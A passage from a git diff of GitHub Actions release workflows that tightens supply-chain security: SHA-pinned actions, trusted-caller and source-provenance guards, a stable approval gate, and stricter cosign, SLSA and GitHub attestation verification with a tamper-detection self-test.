".well-known/${f}" && ! -L ".well-known/${f}" ]] && MANIFEST_PATHS+=(".well-known/${f}") + done + git add -- "${MANIFEST_PATHS[@]}" + if git diff --cached --quiet HEAD -- "${MANIFEST_PATHS[@]}"; then + echo "manifests already monotonic — nothing to commit" + manifests_reconciled=true + break + fi + git commit -m "chore(release): advance eligible manifests (${CHANNEL}) → v${VERSION} [release-manifest]" + if git push origin "HEAD:refs/heads/main"; then + manifests_reconciled=true + break + fi + echo "::warning ::release-manifest.cas_retry attempt ${attempt}/5 lost a concurrent main update; recomputing" done - git add "${MANIFEST_PATHS[@]}" - if git diff --cached --quiet HEAD -- "${MANIFEST_PATHS[@]}"; then - echo "manifests unchanged — nothing to commit" - exit 0 + + if [[ "$manifests_reconciled" != true ]]; then + echo "::error::manifest push to main failed after 5 monotonic retries; release pointer was not advanced" + exit 1 fi - MANIFEST_LIST=$(IFS=','; echo "${!MANIFEST_FILES[*]}") - git commit -m "chore(release): update manifests (${MANIFEST_LIST}) → v${VERSION}" - git push origin main || { - echo "::warning::push to main failed (likely branch protection or permission); update ${MANIFEST_PATHS[*]} manually" - exit 0 - } diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index ad40807a5..26050a5d7 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -1,123 +1,178 @@ name: Release -# Orchestrator: tag push (or workflow_dispatch) → build → sign-attest → -# publish. Single workflow run, three sequenced jobs via workflow_call. -# No workflow_run chaining (anti-recursion guard). Cosign step lives in -# sign-attest.yml — release.yml is signature-free. -# -# Trigger contract — refs/tags/v* (or operator-invoked workflow_dispatch). -# build-tarballs.yml derives version from package.json at build time; -# sign-attest.yml + release-publish.yml receive version via workflow_call -# inputs. Per-job `permissions:` blocks declare the union of the called -# workflow's inner needs (caller is the ceiling — workflow_call does NOT -# auto-inherit, per Decision #7 of the wish). Blanket `secrets: inherit` was -# removed (F18 least-privilege): the called workflows use only GITHUB_TOKEN, -# which reusable workflows receive automatically. -# -# The cosign keyless OIDC SAN URI remains -# `.github/workflows/sign-attest.yml@` because the cosign step -# physically lives inside sign-attest.yml — install.sh:24's identity pin -# is preserved by construction (Decision #1). +# Trusted release orchestrator. The workflow itself is always dispatched on +# refs/heads/main; a release tag is an explicitly validated source identity, +# never the workflow/control ref. version.yml supplies the exact tag SHA and +# successful source CI run. Automated dev/homolog calls come only from the +# trusted local version.yml workflow. Stable is always a first-attempt human +# dispatch; the production environment then requires a different reviewer. on: - push: - tags: ['v*'] workflow_dispatch: inputs: version: - description: 'Version (e.g. 5.260702.1 — no v prefix)' + description: 'Version (for example 5.260702.1, without a v prefix)' required: true type: string channel: - description: 'Release channel — stable publishes to @latest; homolog + dev are prereleases. All channel manifests live on MAIN (.well-known/); the channel only selects which file is written' - required: false + description: 'Release channel (stable is the only manual channel)' + required: true type: choice - default: stable - # Canonical channel taxonomy (Felipe directive 2026-05-12, - # unified across the automagik sibling projects): - # ALL channel manifests are committed to MAIN — matching - # install.sh's MANIFEST_BASE=.../main/.well-known for every - # channel. The channel selects WHICH file, never the branch: - # stable → main:.well-known/latest.json - # homolog → main:.well-known/homolog.json - # dev → main:.well-known/dev.json - # beta + canary retired. genie may not have an active homolog - # branch yet (omni does); the channel surface is kept for - # cross-repo taxonomy parity + future operator dispatch. options: - stable + source_sha: + description: 'Exact commit SHA to build (the v commit for dev)' + required: true + type: string + source_branch: + description: 'Branch on the successful source CI run' + required: true + type: choice + options: + - main - homolog - dev + source_ci_run_id: + description: 'Authorizing CI run ID (exact promotion SHA, or parent of a deterministic dev version child)' + required: true + type: string + workflow_call: + inputs: + version: + description: 'Version without a v prefix' + required: true + type: string + channel: + description: 'Automated release channel' + required: true + type: string + source_sha: + description: 'Exact commit SHA to build' + required: true + type: string + source_branch: + description: 'Branch on the successful source CI run' + required: true + type: string + source_ci_run_id: + description: 'Authorizing CI run ID' + required: true + type: string permissions: contents: read concurrency: - group: release-${{ github.ref }} + # Serialize retries/promotions of one immutable version. Cross-version runs + # stay independent so a stable approval wait cannot block automated dev or + # homolog delivery; manifest reconciliation is monotonic and CAS-retried. + group: release-${{ inputs.version }} + queue: max cancel-in-progress: false jobs: - # F16 gate (wish stable-release-security-gate): a stable-capable - # workflow_dispatch must target a protected `v` tag, never a - # free-form branch ref. The automated dev release dispatches this workflow on - # the freshly-pushed tag (version.yml), so dev is never blocked — the guard is - # a tag-ref requirement on manual dispatch only (HARD INVARIANT preserved). A - # bare `push: tags: v*` trigger is already tag-bound, so the guard no-ops for - # it. Extracted into scripts/release-guard.sh so it is unit-tested - # (scripts/release-guard.test.ts) rather than an unverifiable inline `${{ }}`. guard: - name: Guard stable-capable dispatch + name: Bind trusted control + source provenance runs-on: ubuntu-latest timeout-minutes: 5 permissions: contents: read + actions: read steps: - - uses: actions/checkout@v5 - - name: Require a protected tag for stable-capable dispatch + # This checkout is the workflow/control ref (main), not source_sha. It + # loads the guard from the same protected control commit as this workflow. + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 + with: + fetch-depth: 0 + persist-credentials: false + - name: Require trusted main control and CI-approved tag SHA shell: bash - run: bash scripts/release-guard.sh require-dispatch-tag env: EVENT: ${{ github.event_name }} - REF: ${{ github.ref }} + CONTROL_REF: ${{ github.ref }} + CONTROL_SHA: ${{ github.sha }} + CALLER_WORKFLOW_REF: ${{ github.workflow_ref }} + CALLER_WORKFLOW_SHA: ${{ github.workflow_sha }} + DISPATCH_ACTOR: ${{ github.actor }} + TRIGGERING_ACTOR: ${{ github.triggering_actor }} + RUN_ATTEMPT: ${{ github.run_attempt }} VERSION: ${{ inputs.version }} CHANNEL: ${{ inputs.channel }} + SOURCE_SHA: ${{ inputs.source_sha }} + SOURCE_BRANCH: ${{ inputs.source_branch }} + SOURCE_CI_RUN_ID: ${{ inputs.source_ci_run_id }} + EXPECTED_REPO: ${{ github.repository }} + EXPECTED_WORKFLOW: .github/workflows/ci.yml + GH_TOKEN: ${{ github.token }} + run: bash scripts/release-guard.sh guard-trusted-release - build: + # Stable approval is deliberately before build/sign, not only before the + # final upload. Keep it in a stable-only job so dev/homolog automation never + # relies on undocumented empty-environment behavior. Rollout requirement: + # production's deployment policy allows protected main, the control ref. + approve-stable: needs: guard + if: inputs.channel == 'stable' + name: Approve stable release identity + runs-on: ubuntu-latest + timeout-minutes: 5 + environment: + name: production + steps: + - name: Record approved identity + env: + VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ inputs.source_sha }} + run: echo "Approved stable v${VERSION} from ${SOURCE_SHA}" + + authorize: + needs: [guard, approve-stable] + if: >- + always() && + needs.guard.result == 'success' && + (inputs.channel != 'stable' || needs.approve-stable.result == 'success') + name: Authorize release identity + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - name: Record authorized identity + env: + VERSION: ${{ inputs.version }} + CHANNEL: ${{ inputs.channel }} + SOURCE_SHA: ${{ inputs.source_sha }} + run: echo "Authorized v${VERSION} (${CHANNEL}) from ${SOURCE_SHA}" + + build: + needs: authorize uses: ./.github/workflows/build-tarballs.yml permissions: contents: read - # GITHUB_TOKEN is provided to reusable workflows automatically; the called - # workflows use no other secret (F18 — blanket `secrets: inherit` removed). + with: + version: ${{ inputs.version }} + source_sha: ${{ inputs.source_sha }} sign-attest: needs: build uses: ./.github/workflows/sign-attest.yml permissions: - contents: write # SLSA reusable nested upload-assets check (#1740) - id-token: write # cosign keyless + attest-build-provenance OIDC - attestations: write # GitHub Attestations API registration - actions: read # cross-run artifact metadata - # No `with.version:` — sign-attest.yml derives the bare version from - # tarball filenames (genie--.tar.gz). Passing - # github.ref_name on tag pushes would leak the `v` prefix and fail - # sign-attest's input/derived version equality check at line 129-132. - # secrets: inherit removed (F18) — sign-attest only reads GITHUB_TOKEN. + contents: write + id-token: write + attestations: write + actions: read + with: + version: ${{ inputs.version }} + channel: ${{ inputs.channel }} + source_sha: ${{ inputs.source_sha }} + source_branch: ${{ inputs.source_branch }} + source_ci_run_id: ${{ inputs.source_ci_run_id }} publish: needs: sign-attest uses: ./.github/workflows/release-publish.yml permissions: - contents: write # gh release create/upload + push latest.json commit - id-token: write # reserved for any OIDC-using publish-time verifiers - actions: read # release-publish's guard job reads upstream run records; - # a called workflow cannot elevate past the caller, so the - # orchestrated path fails at init without this grant - # secrets: inherit removed (F18) — release-publish only reads GITHUB_TOKEN. + contents: write + attestations: read with: - version: ${{ needs.sign-attest.outputs.version }} - # workflow_dispatch supplies the channel (version.yml passes 'dev' for - # dev-branch dispatches, 'stable' for main-branch dispatches). Bare - # tag pushes fall through to stable. See wish release-channel-dev. - channel: ${{ inputs.channel || 'stable' }} + version: ${{ inputs.version }} + channel: ${{ inputs.channel }} draft: false diff --git a/.github/workflows/sign-attest.yml b/.github/workflows/sign-attest.yml index 19a071445..4c7ddcc74 100644 --- a/.github/workflows/sign-attest.yml +++ b/.github/workflows/sign-attest.yml @@ -2,7 +2,7 @@ name: Sign + Attest Tarballs # Group 2 of genie-distribution-cutover — signs every tarball produced by # build-tarballs.yml with cosign keyless OIDC, registers a GitHub-native -# build-provenance attestation, and emits a SLSA Level 3 provenance via the +# source/control-bound native attestation, and emits SLSA Level 3 provenance via the # upstream slsa-github-generator reusable workflow. Each tarball is then # self-verified by cosign + slsa-verifier + gh-attestation-verify, and a # byte-flip tamper-detection self-test asserts all three verifiers REJECT @@ -10,9 +10,9 @@ name: Sign + Attest Tarballs # artifacts (Decision 10) are uploaded for Group 3 (release-publish) to # consume. # -# Trigger: runs after build-tarballs.yml completes successfully on a tag -# push or main push (workflow_run); also dispatchable manually via -# workflow_dispatch with the upstream run-id. +# Trigger: reusable only inside the trusted main-branch release chain, after +# the explicit source build succeeds. Stable begins at release.yml; automated +# dev/homolog begins at version.yml. It consumes same-run artifacts. # # Signing model is cosign KEYLESS — the OIDC identity is bound to this # workflow file path + ref (Fulcio SAN URI). There is no long-lived key. @@ -23,37 +23,38 @@ name: Sign + Attest Tarballs # genie-${VERSION}-.tar.gz.bundle (cosign keyless sigstore bundle) # genie-${VERSION}-.tar.gz.intoto.jsonl (SLSA L3 DSSE envelope) # -# The GitHub-native attestation produced by actions/attest-build-provenance -# is NOT a separate file — it is registered in the GitHub Attestations API -# and looked up by digest via `gh attestation verify`. +# The GitHub-native SLSA v1 attestation is registered in GitHub's Attestations +# API and looked up by digest via `gh attestation verify`. on: - # Reusable from release.yml orchestrator. The orchestrator calls this - # workflow inside the same run, so artifacts pass through the run-shared - # store (no run_id input needed). Version is derivable from artifact - # filenames; the optional input lets the orchestrator pin it explicitly. + # Reusable only from the trusted main-branch release orchestrator. Manual + # recovery routes through release.yml and cannot bypass source provenance. workflow_call: inputs: version: - description: 'Version (derivable from artifact filenames if omitted)' - required: false + description: 'Version (must match same-run build artifacts)' + required: true type: string - outputs: - version: - description: 'Resolved version (parsed from upstream tarball filenames)' - value: ${{ jobs.prepare.outputs.version }} - # Manual-recovery escape hatch — operators can re-sign tarballs from a - # stranded build-tarballs run by passing version + run_id explicitly. - workflow_dispatch: - inputs: - version: - description: 'Version to sign (must match upstream build artifacts)' + channel: + description: 'Release channel bound by the trusted orchestrator' + required: true + type: string + source_sha: + description: 'Exact CI-approved commit that produced the tarballs' + required: true + type: string + source_branch: + description: 'Approved branch for the source CI run' required: true type: string - run_id: - description: 'build-tarballs.yml run ID to download artifacts from' + source_ci_run_id: + description: 'Authorizing source CI run ID' required: true type: string + outputs: + version: + description: 'Resolved version (parsed from upstream tarball filenames)' + value: ${{ jobs.prepare.outputs.version }} concurrency: group: sign-attest-${{ github.ref }}-${{ inputs.version || github.sha }} @@ -63,85 +64,81 @@ permissions: contents: read jobs: - # --------------------------------------------------------------------------- - # guard — F16/F17 (wish stable-release-security-gate). A standalone - # workflow_dispatch must target a protected `v` tag, and a break-glass - # `run_id` must point at a SUCCESSFUL build-tarballs run on the SAME repo, - # workflow, tag ref, and head SHA before anything is signed. The orchestrated - # workflow_call path passes no run_id (RUN_ID empty → provenance no-op) and - # inherits the tag ref, so dev/stable releases are never blocked. Validation is - # in scripts/release-guard.sh so it is unit-tested, not an inline `${{ }}`. - # --------------------------------------------------------------------------- - guard: - name: Guard dispatch + upstream provenance + # The OIDC identity belongs to this called workflow, so the called workflow + # itself must verify its caller. Otherwise an untrusted branch could call + # sign-attest.yml@main and obtain the same client-trusted signing identity. + admit: + name: Admit trusted release orchestrator runs-on: ubuntu-latest - timeout-minutes: 5 - permissions: - contents: read - actions: read # gh api reads the upstream run record + timeout-minutes: 2 + permissions: {} steps: - - uses: actions/checkout@v5 - - name: Require a protected tag for standalone dispatch + - name: Bind caller workflow and control commit shell: bash - run: bash scripts/release-guard.sh require-dispatch-tag env: - EVENT: ${{ github.event_name }} - REF: ${{ github.ref }} - VERSION: ${{ inputs.version }} - CHANNEL: '' - - name: Bind break-glass run_id to the upstream build-tarballs identity - shell: bash - run: bash scripts/release-guard.sh guard-run-provenance - env: - RUN_ID: ${{ inputs.run_id }} - EXPECTED_REPO: ${{ github.repository }} - EXPECTED_WORKFLOW: .github/workflows/build-tarballs.yml - EXPECTED_REF: ${{ github.ref }} - EXPECTED_SHA: ${{ github.sha }} - EXPECTED_VERSION: ${{ inputs.version }} - GH_TOKEN: ${{ github.token }} + CALLER_EVENT: ${{ github.event_name }} + CALLER_REF: ${{ github.ref }} + CALLER_SHA: ${{ github.sha }} + CALLER_WORKFLOW_REF: ${{ github.workflow_ref }} + CALLER_WORKFLOW_SHA: ${{ github.workflow_sha }} + EXPECTED_STABLE_CALLER: automagik-dev/genie/.github/workflows/release.yml@refs/heads/main + EXPECTED_AUTOMATED_CALLER: automagik-dev/genie/.github/workflows/version.yml@refs/heads/main + INPUT_VERSION: ${{ inputs.version }} + INPUT_CHANNEL: ${{ inputs.channel }} + INPUT_SOURCE_SHA: ${{ inputs.source_sha }} + INPUT_SOURCE_BRANCH: ${{ inputs.source_branch }} + INPUT_SOURCE_CI_RUN_ID: ${{ inputs.source_ci_run_id }} + run: | + set -euo pipefail + case "$INPUT_CHANNEL" in + stable) + EXPECTED_EVENT=workflow_dispatch + EXPECTED_CALLER="$EXPECTED_STABLE_CALLER" + ;; + homolog|dev) + EXPECTED_EVENT=workflow_run + EXPECTED_CALLER="$EXPECTED_AUTOMATED_CALLER" + ;; + *) + echo "::error ::release-caller.channel unknown channel '${INPUT_CHANNEL}'" + exit 1 + ;; + esac + if [[ "$CALLER_EVENT" != "$EXPECTED_EVENT" || + "$CALLER_REF" != refs/heads/main || + "$CALLER_WORKFLOW_REF" != "$EXPECTED_CALLER" || + "$CALLER_WORKFLOW_SHA" != "$CALLER_SHA" ]]; then + echo "::error ::release-caller.untrusted sign-attest rejected caller ${CALLER_WORKFLOW_REF:-} (${CALLER_EVENT:-})" + exit 1 + fi + if [[ ! "$INPUT_VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ || + ! "$INPUT_SOURCE_SHA" =~ ^[0-9a-f]{40}$ || + ! "$INPUT_SOURCE_CI_RUN_ID" =~ ^[0-9]+$ ]]; then + echo "::error ::release-caller.inputs sign-attest received malformed release identity inputs" + exit 1 + fi + case "$INPUT_SOURCE_BRANCH" in main|homolog|dev) ;; *) exit 1 ;; esac + echo "Trusted release caller admitted at ${CALLER_SHA}" # --------------------------------------------------------------------------- - # prepare — resolve version + upstream run-id, download every tarball, + # prepare — resolve version, download every same-run tarball, # build the multi-subject base64 input the SLSA generator consumes. # --------------------------------------------------------------------------- prepare: - needs: [guard] name: Prepare hashes for SLSA + needs: admit runs-on: ubuntu-latest timeout-minutes: 10 outputs: version: ${{ steps.hash.outputs.version }} - run_id: ${{ steps.runid.outputs.run_id }} hashes: ${{ steps.hash.outputs.hashes }} steps: - - name: Resolve upstream run-id - id: runid - shell: bash - run: | - set -euo pipefail - # Resolve the upstream run-id that holds the tarball artifacts: - # - workflow_dispatch break-glass: operator supplies inputs.run_id - # pointing at a prior build-tarballs run. - # - workflow_call from release.yml orchestrator: build-tarballs ran - # in THIS run; default to github.run_id so download-artifact pulls - # from the current run's shared artifact store. - if [[ -n "${{ inputs.run_id }}" ]]; then - RUN_ID="${{ inputs.run_id }}" - else - RUN_ID="${{ github.run_id }}" - fi - echo "run_id=${RUN_ID}" >> "$GITHUB_OUTPUT" - echo "Upstream run-id: ${RUN_ID}" - - name: Download all tarball artifacts - uses: actions/download-artifact@v4 + uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 with: pattern: genie-*-tarball merge-multiple: true path: dist - run-id: ${{ steps.runid.outputs.run_id }} - github-token: ${{ secrets.GITHUB_TOKEN }} - name: Resolve version + compute base64 subjects id: hash @@ -152,7 +149,7 @@ jobs: shopt -s nullglob TARBALLS=( genie-*.tar.gz ) if [[ ${#TARBALLS[@]} -eq 0 ]]; then - echo "::error::no genie-*.tar.gz tarballs downloaded from upstream run-id ${{ steps.runid.outputs.run_id }}" + echo "::error::no genie-*.tar.gz tarballs downloaded from the current release run" ls -la exit 1 fi @@ -219,7 +216,7 @@ jobs: # --------------------------------------------------------------------------- # sign — per-platform: cosign keyless sign-blob + GitHub-native - # attest-build-provenance + self-verify (3 verifiers) + tamper-detection + # source/control-bound native attestation + self-verify (3 verifiers) + tamper-detection # self-test + per-platform signed artifact upload. # --------------------------------------------------------------------------- sign: @@ -229,8 +226,8 @@ jobs: timeout-minutes: 15 permissions: contents: read - id-token: write # OIDC for cosign keyless + attest-build-provenance - attestations: write # actions/attest-build-provenance@v1 registration + id-token: write # OIDC for cosign keyless + actions/attest + attestations: write # register the source/control-bound native predicate strategy: fail-fast: false matrix: @@ -241,18 +238,18 @@ jobs: - darwin-arm64 steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 + with: + persist-credentials: false - name: Download tarball artifact (${{ matrix.platform }}) - uses: actions/download-artifact@v4 + uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 with: name: genie-${{ needs.prepare.outputs.version }}-${{ matrix.platform }}-tarball path: dist - run-id: ${{ needs.prepare.outputs.run_id }} - github-token: ${{ secrets.GITHUB_TOKEN }} - name: Download SLSA provenance artifact - uses: actions/download-artifact@v4 + uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 with: # SLSA generator v2.1.0 uploads the provenance as an artifact whose # name == the provenance-name input. The artifact contains one file @@ -326,11 +323,26 @@ jobs: fi echo "::notice::signed ${TARBALL} -> ${BUNDLE}" - - name: GitHub-native build-provenance attestation - id: attest - uses: actions/attest-build-provenance@ef244123eb79f2f7a7e75d99086184180e6d0018 # v1 + - name: Build source/control-bound native SLSA predicate + shell: bash + env: + RELEASE_REPOSITORY: ${{ github.repository }} + VERSION: ${{ needs.prepare.outputs.version }} + CHANNEL: ${{ inputs.channel }} + SOURCE_SHA: ${{ inputs.source_sha }} + SOURCE_BRANCH: ${{ inputs.source_branch }} + SOURCE_CI_RUN_ID: ${{ inputs.source_ci_run_id }} + CONTROL_SHA: ${{ github.sha }} + RUN_ID: ${{ github.run_id }} + RUN_ATTEMPT: ${{ github.run_attempt }} + run: bash scripts/release-native-predicate.sh create "${RUNNER_TEMP}/genie-native-${{ matrix.platform }}.json" + + - name: GitHub-native source/control attestation + uses: actions/attest@67422f5511b7ff725f4dbd6fb9bd2cd925c65a8d # v1.4.1 with: subject-path: dist/genie-${{ needs.prepare.outputs.version }}-${{ matrix.platform }}.tar.gz + predicate-type: https://slsa.dev/provenance/v1 + predicate-path: ${{ runner.temp }}/genie-native-${{ matrix.platform }}.json - name: Verify cosign bundle (self-check) shell: bash @@ -346,48 +358,91 @@ jobs: # the ref while keeping the workflow path immutable. cosign verify-blob \ --bundle "${TARBALL}.bundle" \ - --certificate-identity-regexp "^https://github.com/${{ github.repository }}/.github/workflows/sign-attest.yml@" \ + --certificate-identity-regexp "^https://github\\.com/${{ github.repository }}/\\.github/workflows/sign-attest\\.yml@refs/heads/main$" \ --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \ "${TARBALL}" - name: Verify SLSA provenance (self-check) shell: bash env: - VERSION: ${{ needs.prepare.outputs.version }} - PLATFORM: ${{ matrix.platform }} + VERSION: ${{ needs.prepare.outputs.version }} + PLATFORM: ${{ matrix.platform }} + CHANNEL: ${{ inputs.channel }} + SOURCE_SHA: ${{ inputs.source_sha }} + SOURCE_BRANCH: ${{ inputs.source_branch }} + SOURCE_CI_RUN_ID: ${{ inputs.source_ci_run_id }} + CONTROL_SHA: ${{ github.sha }} run: | set -euo pipefail TARBALL="dist/genie-${VERSION}-${PLATFORM}.tar.gz" - slsa-verifier verify-artifact "${TARBALL}" \ - --provenance-path "${TARBALL}.intoto.jsonl" \ + VERIFIED_PROVENANCE="${RUNNER_TEMP}/genie-generic-${PLATFORM}.json" + VERIFY_ARGS=( + verify-artifact "${TARBALL}" + --provenance-path "${TARBALL}.intoto.jsonl" --source-uri "github.com/${{ github.repository }}" + --source-branch main + ) + # slsa-verifier's --build-workflow-input applies only to a top-level + # workflow_dispatch. Automated dev/homolog runs have version.yml's + # workflow_run context; the helper below binds that signed event to + # the exact successful CI run instead. + if [[ "$CHANNEL" == "stable" ]]; then + VERIFY_ARGS+=( + --build-workflow-input "version=${VERSION}" + --build-workflow-input "channel=${CHANNEL}" + --build-workflow-input "source_sha=${SOURCE_SHA}" + --build-workflow-input "source_branch=${SOURCE_BRANCH}" + --build-workflow-input "source_ci_run_id=${SOURCE_CI_RUN_ID}" + ) + fi + slsa-verifier "${VERIFY_ARGS[@]}" --print-provenance >"$VERIFIED_PROVENANCE" + RELEASE_REPOSITORY="${{ github.repository }}" \ + bash scripts/release-generic-provenance.sh verify-exact "$VERIFIED_PROVENANCE" - name: Verify GitHub-native attestation (self-check) shell: bash env: - GH_TOKEN: ${{ github.token }} - VERSION: ${{ needs.prepare.outputs.version }} - PLATFORM: ${{ matrix.platform }} + GH_TOKEN: ${{ github.token }} + RELEASE_REPOSITORY: ${{ github.repository }} + VERSION: ${{ needs.prepare.outputs.version }} + PLATFORM: ${{ matrix.platform }} + CHANNEL: ${{ inputs.channel }} + SOURCE_SHA: ${{ inputs.source_sha }} + SOURCE_BRANCH: ${{ inputs.source_branch }} + SOURCE_CI_RUN_ID: ${{ inputs.source_ci_run_id }} + CONTROL_SHA: ${{ github.sha }} + RUN_ID: ${{ github.run_id }} + RUN_ATTEMPT: ${{ github.run_attempt }} run: | set -euo pipefail TARBALL="dist/genie-${VERSION}-${PLATFORM}.tar.gz" - OWNER="${{ github.repository_owner }}" - # `gh attestation verify` queries the GitHub Attestations API by - # the artifact's sha256 digest. attest-build-provenance@v1 above - # has registered the attestation; this checks it round-trips. - gh attestation verify "${TARBALL}" --owner "${OWNER}" + RESULT="${RUNNER_TEMP}/genie-native-result-${PLATFORM}.json" + gh attestation verify "${TARBALL}" \ + --repo "$RELEASE_REPOSITORY" \ + --predicate-type https://slsa.dev/provenance/v1 \ + --cert-identity "https://github.com/${RELEASE_REPOSITORY}/.github/workflows/sign-attest.yml@refs/heads/main" \ + --source-ref refs/heads/main \ + --source-digest "$CONTROL_SHA" \ + --signer-digest "$CONTROL_SHA" \ + --signer-workflow "${RELEASE_REPOSITORY}/.github/workflows/sign-attest.yml" \ + --format json >"$RESULT" + bash scripts/release-native-predicate.sh verify "$RESULT" - name: Tamper-detection self-test (all 3 verifiers must REJECT) shell: bash env: - GH_TOKEN: ${{ github.token }} - VERSION: ${{ needs.prepare.outputs.version }} - PLATFORM: ${{ matrix.platform }} + GH_TOKEN: ${{ github.token }} + VERSION: ${{ needs.prepare.outputs.version }} + PLATFORM: ${{ matrix.platform }} + CHANNEL: ${{ inputs.channel }} + SOURCE_SHA: ${{ inputs.source_sha }} + SOURCE_BRANCH: ${{ inputs.source_branch }} + SOURCE_CI_RUN_ID: ${{ inputs.source_ci_run_id }} + CONTROL_SHA: ${{ github.sha }} run: | set -euo pipefail TARBALL="dist/genie-${VERSION}-${PLATFORM}.tar.gz" MUTATED="dist/tampered-genie-${VERSION}-${PLATFORM}.tar.gz" - OWNER="${{ github.repository_owner }}" cp "${TARBALL}" "${MUTATED}" # Flip the last byte. Any single-byte mutation invalidates the @@ -406,7 +461,7 @@ jobs: echo "-> Expecting cosign verify-blob to REJECT mutated tarball" if cosign verify-blob \ --bundle "${TARBALL}.bundle" \ - --certificate-identity-regexp "^https://github.com/${{ github.repository }}/.github/workflows/sign-attest.yml@" \ + --certificate-identity-regexp "^https://github\\.com/${{ github.repository }}/\\.github/workflows/sign-attest\\.yml@refs/heads/main$" \ --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \ "${MUTATED}" > /tmp/cosign-tamper.log 2>&1; then echo "::error::cosign verify-blob accepted a mutated tarball — signing contract broken" @@ -418,7 +473,13 @@ jobs: echo "-> Expecting slsa-verifier verify-artifact to REJECT mutated tarball" if slsa-verifier verify-artifact "${MUTATED}" \ --provenance-path "${TARBALL}.intoto.jsonl" \ - --source-uri "github.com/${{ github.repository }}" > /tmp/slsa-tamper.log 2>&1; then + --source-uri "github.com/${{ github.repository }}" \ + --source-branch main \ + --build-workflow-input "version=${VERSION}" \ + --build-workflow-input "channel=${CHANNEL}" \ + --build-workflow-input "source_sha=${SOURCE_SHA}" \ + --build-workflow-input "source_branch=${SOURCE_BRANCH}" \ + --build-workflow-input "source_ci_run_id=${SOURCE_CI_RUN_ID}" > /tmp/slsa-tamper.log 2>&1; then echo "::error::slsa-verifier accepted a mutated tarball — provenance contract broken" cat /tmp/slsa-tamper.log >&2 || true exit 1 @@ -426,7 +487,14 @@ jobs: echo "OK: slsa-verifier rejected mutated tarball" echo "-> Expecting gh attestation verify to REJECT mutated tarball" - if gh attestation verify "${MUTATED}" --owner "${OWNER}" > /tmp/gh-tamper.log 2>&1; then + if gh attestation verify "${MUTATED}" \ + --repo "${{ github.repository }}" \ + --predicate-type https://slsa.dev/provenance/v1 \ + --cert-identity "https://github.com/${{ github.repository }}/.github/workflows/sign-attest.yml@refs/heads/main" \ + --source-ref refs/heads/main \ + --source-digest "$CONTROL_SHA" \ + --signer-digest "$CONTROL_SHA" \ + --signer-workflow "${{ github.repository }}/.github/workflows/sign-attest.yml" > /tmp/gh-tamper.log 2>&1; then echo "::error::gh attestation verify accepted a mutated tarball — Attestations API contract broken" cat /tmp/gh-tamper.log >&2 || true exit 1 @@ -436,7 +504,7 @@ jobs: rm -f "${MUTATED}" - name: Upload signed artifact (${{ matrix.platform }}) - uses: actions/upload-artifact@v5 + uses: actions/upload-artifact@330a01c490aca151604b8cf639adc76d48f6c5d4 # v5 with: name: genie-${{ needs.prepare.outputs.version }}-${{ matrix.platform }}-signed path: | diff --git a/.github/workflows/signing-identity-pin.yml b/.github/workflows/signing-identity-pin.yml index 3cb2e3274..de2648786 100644 --- a/.github/workflows/signing-identity-pin.yml +++ b/.github/workflows/signing-identity-pin.yml @@ -36,6 +36,9 @@ concurrency: group: signing-identity-pin-${{ github.ref }} cancel-in-progress: true +permissions: + contents: read + jobs: check-pin: name: check-fingerprint-pinning (four-channel byte-identity) @@ -44,7 +47,9 @@ jobs: steps: - name: Checkout - uses: actions/checkout@v5 + uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 + with: + persist-credentials: false - name: Assert signing-identity pin agrees across all four witnesses run: bash scripts/check-fingerprint-pinning.sh diff --git a/.github/workflows/version.yml b/.github/workflows/version.yml index fcf9a5928..1c080ef82 100644 --- a/.github/workflows/version.yml +++ b/.github/workflows/version.yml @@ -6,16 +6,17 @@ name: Version # ----------------------------------- ------- ------ # workflow_run (CI success on dev) dev yes # workflow_run (merge PR to main) main no -# workflow_dispatch (manual) dev yes # # On dev triggers we DERIVE a fresh version (today + build-count), -# commit + tag + push back to dev. The pushed tag triggers -# release-publish.yml which attaches the signed GitHub Release -# tarballs. +# commit + tag + push back to dev, then call the main-controlled reusable +# release workflow with the successful parent CI run. The release guard accepts +# the child only when all six changed fields are the deterministic version bump. # # On main triggers (merge from dev) we DO NOT bump — the version is -# already in package.json from the dev tag. The pushed tag (also -# from the merge) drives the @latest release-publish run. +# already in package.json from the dev tag. The successful main CI run and +# tree-equivalent existing tag produce a human-initiation handoff. A maintainer +# must start the stable Release workflow, then a different maintainer approves +# the protected production environment. # # npm distribution is discontinued (2026-05-09 hard cutover, wish # genie-distribution-cutover G6). Operators install via install.sh @@ -23,7 +24,8 @@ name: Version # See docs/release-process.mdx. # # SHA-pin invariant (Invariant A — correctness over completeness): -# Version always tags the commit that passed CI, never branch HEAD. +# Dev tags a deterministic version-only child of the commit that passed CI; +# stable/homolog build the exact promotion commit that passed CI. # Concurrent runs QUEUE per branch+event (no cancellation — see the # concurrency block below). When dev advances past the SHA a queued # run checked out, the @@ -35,12 +37,11 @@ on: workflow_run: workflows: ["CI"] types: [completed] - branches: [main, dev] - workflow_dispatch: + branches: [main, homolog, dev] permissions: contents: write # commit + push version bump + tag - actions: write # `gh workflow run` to dispatch Build Tarballs after tag push + actions: write # dispatch trusted release.yml control on main # RACE (observed 2026-07-04T23:11:46Z, missed dev release): CI completes twice # per dev merge (push-event run + pull_request-event run); both trigger this @@ -49,7 +50,8 @@ permissions: # in-flight push-event bump. Scope the group by triggering event, and never # cancel: killing a version bump mid-tag-push is unsafe regardless — queue instead. concurrency: - group: version-${{ github.event.workflow_run.head_branch || 'manual' }}-${{ github.event.workflow_run.event || 'dispatch' }} + group: version-${{ github.event.workflow_run.head_branch }}-${{ github.event.workflow_run.event }} + queue: max cancel-in-progress: false jobs: @@ -57,11 +59,18 @@ jobs: name: Auto Version runs-on: blacksmith-4vcpu-ubuntu-2404 timeout-minutes: 5 + outputs: + release_ready: ${{ 